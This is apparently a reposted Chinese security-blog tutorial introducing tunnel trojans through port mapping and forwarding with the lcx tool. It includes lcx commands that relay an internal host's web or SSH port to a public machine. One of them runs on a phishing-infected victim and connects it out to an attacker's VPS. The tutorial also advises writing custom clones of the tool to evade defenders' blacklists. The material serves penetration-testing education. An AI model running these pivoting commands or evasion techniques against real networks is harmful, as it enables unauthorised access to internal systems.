教你學木馬攻防 | 隧道木馬 | 第一課


前言

今天開始講講木馬攻防,感覺這些內容大家應該會更感興趣一些,就從隧道木馬說起。為什么會有隧道木馬這一說呢?這是根據通信協議進行分類的。講隧道木馬之前,先講講端口映射和轉發。端口映射和端口轉發其實是一回事,原理是一樣的,由於應用場景不同,才產生了不同的含義。

 

場景1 端口映射

端口映射的使用,以下圖為例,這是一個在滲透測試中,比較常見的場景。

 

 

  1. 一個hacker通過掃描暴露到公網中的主機A ,主機A開放了一些敏感端口,而且是弱口令,導致主機A被hacker完全控制。

  2. 接着hacker就想往公司內網中滲透,通過在主機A監控流量或者掃描的方式,發現了主機B,但是主機B只能由主機A進行訪問,開放了80端口,而且沒有公網ip。

  3. 如果hacker想直接訪問主機B的 80端口,對上面的Web服務進行繼續滲透,這就需要進行端口映射,讓hacker可以遠程連接到80端口。

 

從上圖場景中看,端口映射是將內網主機B的80端口映射到了具有公網ip的主機A上,本質上是將一個本來無法訪問的端口映射到可以訪問的ip上了。

場景2 端口轉發

端口轉發又是另外一個場景,在滲透測試中,也很常見。如下圖所示。

 

 

  1. hacker位於主機A,主機A可能是個人電腦,也可能是hacker控制的主機。

  2. hacker通過發送惡意郵件的方式給主機B,主機B的用戶點開郵件,運行惡意木馬導致主機B被感染,就成了我們俗稱的“肉雞”。雖然已經有木馬運行在主機B中,但是由於主機B不在公網中,hacker無法訪問到主機B。

  3. 主機B運行着ssh服務,開放着22端口,hacker如果想在主機A上直接連接主機B的22端口,執行shell命令,這就需要端口轉發。

 

那么木馬怎么實現端口轉發,才能讓hacker訪問主機B的22端口呢? 這就需要一台主機C,一個公網的VPS,去阿里雲或者騰訊雲買。木馬的服務端運行在主機C,同時監聽兩個端口 port1 與port2,木馬的客戶端運行在主機B,分別主動連接主機B的22端口和主機C的port2,而hacker只需要主動連接主機C的port1,這樣就打通了到主機B 22端口的線路。如下圖所示。

 

lcx是一款內網端口轉發工具,用於將內網主機開放的內部端口映射到外網主機(有公網IP)任意端口。這個工具很早就已經有了,現在已經有跨平台的了,支持在windows、linux下使用。還有一些根據lcx源碼開發的其他版本,比如jsp版,http隧道版等等。代碼如下:

 

https://github.com/windworst/LCX/

 

下面說一下它的使用以及功能說明:

 

Usage of Packet Transmit:

  ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]

  ./lcx -about

  

[options:]

  -listen <local port1>  <local port2>

  -tran   <local port>   <remote host>  <remote port>

  -slave  <remote host1> <remote port1> <remote host2> <remote port2>

  

  -hex   : hex mode data dump

  -text  : text mode data dump

  -log   : save transfer log


對於場景1,可以使用lcx的tran模式來實現。假設主機A 公網ip 10.10.10.1,主機B 內網ip為192.168.1.5,開放80端口。 在主機A上運行 :

 

./lcx -tran 8080 192.168.1.5 80

 

這個時候,hacker只要連接到主機A的8080端口,即可訪問到主機B的80端口。

 

對於場景2,使用lcx的listen和slave模式來實現。假設主機C 公網ip 10.10.10.1,主機B 內網ip為192.168.1.5,開放22端口。 在主機C上監聽8080和8081端口:

 

./lcx -listen 8080 8081

 

在主機B上連接22端口,並連接主機C的8081端口:

 

./lcx -slave 192.168.1.5 22  10.10.10.1 8081

 

這個時候,hacker只需要連接ip10.10.10.1的8080端口,即可直接連接到22端口,執行命令。

 取代lcx

 使用工具很簡單,但是對這些工具的封鎖也很簡單。這些開源的網絡安全工具早就處於防御端的黑名單里。因此自己寫一個類似的工具也是一項必備的能力。 在github中就有這樣類似的項目:

 

 https://github.com/cw1997/NATBypass


代碼很簡單,只是單個golang文件,仿照lcx是實現了listen,tran和slave功能。關鍵的代碼很簡單,對應了下圖中三個紅框圈住的三個函數。

 

最后

關注公眾號:七夜安全博客

  • 回復【1】:領取 Python數據分析 教程大禮包
  • 回復【2】:領取 Python Flask 全套教程
  • 回復【3】:領取 某學院 機器學習 教程
  • 回復【4】:領取 爬蟲 教程
  • 回復【5】:領取 編譯原理 教程 
  • 回復【6】:領取 滲透測試 教程 
  • 回復【7】:領取 人工智能數學基礎 教程


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM